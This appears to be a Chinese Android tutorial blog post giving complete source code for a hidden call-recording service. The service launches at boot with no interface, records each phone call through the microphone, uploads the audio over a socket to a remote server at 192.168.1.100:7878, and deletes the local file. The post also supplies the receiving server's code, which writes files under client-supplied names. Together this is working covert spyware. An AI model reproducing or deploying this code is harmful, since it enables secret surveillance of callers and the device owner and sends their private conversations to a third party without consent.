我的Android进阶之旅------>Android电话实例

Step 1 :新建一个Android工程,命名为PhoneListenerService,本服务不需要界面

Step 2:主控制程序PhoneService.java代码如下:

package cn.roco.phonelistener;import java.io.File;import java.io.OutputStream;import java.io.PushbackInputStream;import java.io.RandomAccessFile;import java.net.Socket;import cn.roco.phonelistener.utils.StreamTool;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class PhoneService extends Service {@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onCreate() {super.onCreate();TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //取得电话相关服务telephonyManager.listen(new PhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);}private final class PhoneListener extends PhoneStateListener {private String incomingNumber;private MediaRecorder mediaRecorder;private File file;/** * 回调函数 */@Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {switch (state) {case TelephonyManager.CALL_STATE_RINGING:// 来电this.incomingNumber = incomingNumber;break;case TelephonyManager.CALL_STATE_OFFHOOK:// 接通电话file = new File(Environment.getExternalStorageDirectory(),incomingNumber + System.currentTimeMillis()+ ".3gp");mediaRecorder = new MediaRecorder();// 从麦克风采集声音mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 内容输出格式mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);// 音频编码方式mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);// 输出文件位置mediaRecorder.setOutputFile(file.getAbsolutePath());// 预期准备mediaRecorder.prepare();// 开始刻录音频mediaRecorder.start();break;case TelephonyManager.CALL_STATE_IDLE:// 挂断电话后回归到空闲状态if (mediaRecorder != null) {// 停止刻录mediaRecorder.stop();// 刻录完成一定要释放资源mediaRecorder.release();mediaRecorder = null;// 上传录制好的音频文件uploadFile();}break;}} catch (Exception e) {e.printStackTrace();}}/** * 上传录制好的音频文件 */private void uploadFile() {new Thread(new Runnable() {@Overridepublic void run() {try {if (file != null && file.exists()) {Socket socket = new Socket("192.168.1.100", 7878);OutputStream outStream = socket.getOutputStream();String head = "Content-Length=" + file.length()+ ";filename=" + file.getName()+ ";sourceid=\r\n";outStream.write(head.getBytes());PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());String response = StreamTool.readLine(inStream);String[] items = response.split(";");String position = items[1].substring(items[1].indexOf("=") + 1);RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");fileOutStream.seek(Integer.valueOf(position));byte[] buffer = new byte[1024];int len = -1;while ((len = fileOutStream.read(buffer)) != -1) {outStream.write(buffer, 0, len);}fileOutStream.close();outStream.close();inStream.close();socket.close();file.delete();file = null;}} catch (Exception e) {e.printStackTrace();}}}).start();}}}

Step 3 :工具类StreamTool .java代码如下:

package cn.roco.phonelistener.utils;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.PushbackInputStream;public class StreamTool {public static void save(File file, byte[] data) throws Exception {FileOutputStream outStream = new FileOutputStream(file);outStream.write(data);outStream.close();}public static String readLine(PushbackInputStream in) throws IOException {char buf[] = new char[128];int room = buf.length;int offset = 0;int c;loop: while (true) {switch (c = in.read()) {case -1:case '\n':break loop;case '\r':int c2 = in.read();if ((c2 != '\n') && (c2 != -1))in.unread(c2);break loop;default:if (--room < 0) {char[] lineBuffer = buf;buf = new char[offset + 128];room = buf.length - offset - 1;System.arraycopy(lineBuffer, 0, buf, 0, offset);}buf[offset++] = (char) c;break;}}if ((c == -1) && (offset == 0))return null;return String.copyValueOf(buf, 0, offset);}/** * 读取流 *  * @param inStream * @return 字节数组 * @throws Exception */public static byte[] readStream(InputStream inStream) throws Exception {ByteArrayOutputStream outSteam = new ByteArrayOutputStream();byte[] buffer = new byte[1024];int len = -1;while ((len = inStream.read(buffer)) != -1) {outSteam.write(buffer, 0, len);}outSteam.close();inStream.close();return outSteam.toByteArray();}}

Step 4 :编写开机启动的广播BootBroadcastReceiver.java 调用上面的PhoneService

package cn.roco.phonelistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootBroadcastReceiver extends BroadcastReceiver {/** * 开机就启动PhoneService服务 */@Overridepublic void onReceive(Context context, Intent intent) {Intent service=new Intent(context,PhoneService.class);//显示、隐式context.startService(service);}}

Step 5：配置AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"package="cn.roco.phonelistener" android:versionCode="1"android:versionName="1.0"><uses-sdk android:minSdkVersion="8" /><!-- 电话状态监听权限 --><uses-permission android:name="android.permission.READ_PHONE_STATE"/><!-- SD卡中写入数据权限 --><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/><!-- 在SD卡中创建和删除文件权限 --><uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/><!-- 音频刻录权限 --><uses-permission android:name="android.permission.RECORD_AUDIO"/> <!-- 访问internet权限 --><uses-permission android:name="android.permission.INTERNET"/><application android:icon="@drawable/icon" android:label="@string/app_name"><service android:name="PhoneService" /><!-- 开机启动的广播 --><receiver android:name="BootBroadcastReceiver"><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED"/></intent-filter></receiver></application></manifest>

Step 6：因为是通过socket上传文件到服务器，下面写服务器的主要代码FileService.java

package cn.itcast.net.server;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.OutputStream;import java.io.PushbackInputStream;import java.io.RandomAccessFile;import java.net.ServerSocket;import java.net.Socket;import java.text.SimpleDateFormat;import java.util.Date;import java.util.HashMap;import java.util.Map;import java.util.Properties;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import cn.itcast.utils.StreamTool;public class FileServer { private ExecutorService executorService;//线程池 private int port;//监听端口 private boolean quit = false;//退出 private ServerSocket server; private Map<Long, FileLog> datas = new HashMap<Long, FileLog>();//存放断点数据  public FileServer(int port){ this.port = port; //创建线程池，池中具有(cpu个数*50)条线程 executorService = Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors() * 50); } /**  * 退出  */ public void quit(){this.quit = true;try {server.close();} catch (IOException e) {} } /**  * 启动服务  * @throws Exception  */ public void start() throws Exception{ server = new ServerSocket(port); while(!quit){         try {           Socket socket = server.accept();           //为支持多用户并发访问，采用线程池管理每一个用户的连接请求           executorService.execute(new SocketTask(socket));         } catch (Exception e) {           //  e.printStackTrace();         }     } }  private final class SocketTask implements Runnable{private Socket socket = null;public SocketTask(Socket socket) {this.socket = socket;}public void run() {try {System.out.println("accepted connection "+ socket.getInetAddress()+ ":"+ socket.getPort());PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());//得到客户端发来的第一行协议数据：Content-Length=143253434;filename=xxx.3gp;sourceid=//如果用户初次上传文件，sourceid的值为空。String head = StreamTool.readLine(inStream);System.out.println(head);if(head!=null){//下面从协议数据中提取各项参数值String[] items = head.split(";");String filelength = items[0].substring(items[0].indexOf("=")+1);String filename = items[1].substring(items[1].indexOf("=")+1);String sourceid = items[2].substring(items[2].indexOf("=")+1);long id = System.currentTimeMillis();//生产资源id，如果需要唯一性，可以采用UUIDFileLog log = null;if(sourceid!=null && !"".equals(sourceid)){id = Long.valueOf(sourceid);log = find(id);//查找上传的文件是否存在上传记录}File file = null;int position = 0;if(log==null){//如果不存在上传记录,为文件添加跟踪记录String path = new SimpleDateFormat("yyyy/MM/dd/HH/mm").format(new Date());File dir = new File("uploadfiles/"+ path);if(!dir.exists()) dir.mkdirs();file = new File(dir, filename);if(file.exists()){//如果上传的文件发生重名，然后进行改名filename = filename.substring(0, filename.indexOf(".")-1)+ dir.listFiles().length+ filename.substring(filename.indexOf("."));file = new File(dir, filename);}save(id, file);}else{// 如果存在上传记录,读取已经上传的数据长度file = new File(log.getPath());//从上传记录中得到文件的路径if(file.exists()){File logFile = new File(file.getParentFile(), file.getName()+".log");if(logFile.exists()){Properties properties = new Properties();properties.load(new FileInputStream(logFile));position = Integer.valueOf(properties.getProperty("length"));//读取已经上传的数据长度}}}OutputStream outStream = socket.getOutputStream();String response = "sourceid="+ id+ ";position="+ position+ "\r\n";//服务器收到客户端的请求信息后，给客户端返回响应信息：sourceid=1274773833264;position=0//sourceid由服务器端生成，唯一标识上传的文件，position指示客户端从文件的什么位置开始上传outStream.write(response.getBytes());RandomAccessFile fileOutStream = new RandomAccessFile(file, "rwd");if(position==0) fileOutStream.setLength(Integer.valueOf(filelength));//设置文件长度fileOutStream.seek(position);//指定从文件的特定位置开始写入数据byte[] buffer = new byte[1024];int len = -1;int length = position;while( (len=inStream.read(buffer)) != -1){//从输入流中读取数据写入到文件中fileOutStream.write(buffer, 0, len);length += len;Properties properties = new Properties();properties.put("length", String.valueOf(length));FileOutputStream logFile = new FileOutputStream(new File(file.getParentFile(), file.getName()+".log"));properties.store(logFile, null);//实时记录已经接收的文件长度logFile.close();}if(length==fileOutStream.length()) delete(id);fileOutStream.close();inStream.close();outStream.close();file = null;}} catch (Exception e) {e.printStackTrace();}finally{            try {                if(socket!=null && !socket.isClosed()) socket.close();            } catch (IOException e) {}        }} }  public FileLog find(Long sourceid){ return datas.get(sourceid); } //保存上传记录 public void save(Long id, File saveFile){ //日后可以改成通过数据库存放 datas.put(id, new FileLog(id, saveFile.getAbsolutePath())); } //当文件上传完毕，删除记录 public void delete(long sourceid){ if(datas.containsKey(sourceid)) datas.remove(sourceid); }  private class FileLog{private Long id;private String path;public Long getId() {return id;}public void setId(Long id) {this.id = id;}public String getPath() {return path;}public void setPath(String path) {this.path = path;}public FileLog(Long id, String path) {this.id = id;this.path = path;} }}

Step 7：启动服务器，监听Socket端口，接收android客户端上传的文件

package cn.itcast.net.server;import java.awt.BorderLayout;import java.awt.Frame;import java.awt.Label;import java.awt.event.WindowEvent;import java.awt.event.WindowListener;public class ServerWindow extends Frame{private FileServer s = new FileServer(7878);private Label label;public ServerWindow(String title){super(title);label = new Label();add(label, BorderLayout.PAGE_START);label.setText("服务器已经启动");this.addWindowListener(new WindowListener() {public void windowOpened(WindowEvent e) {new Thread(new Runnable() {public void run() {try {s.start();} catch (Exception e) {}}}).start();}public void windowIconified(WindowEvent e) {}public void windowDeiconified(WindowEvent e) {}public void windowDeactivated(WindowEvent e) {}public void windowClosing(WindowEvent e) { s.quit(); System.exit(0);}public void windowClosed(WindowEvent e) {}public void windowActivated(WindowEvent e) {}});}/** * @param args */public static void main(String[] args) {ServerWindow window = new ServerWindow("文件上传服务端"); window.setSize(300, 300); window.setVisible(true);}}

Step 8：安装完服务之后，重启模拟器，再通话，运行的具体结果是：在客户端的SD卡中会有记录,在服务器的uploadfiles目录下也会有从客户端上传而来的文件。
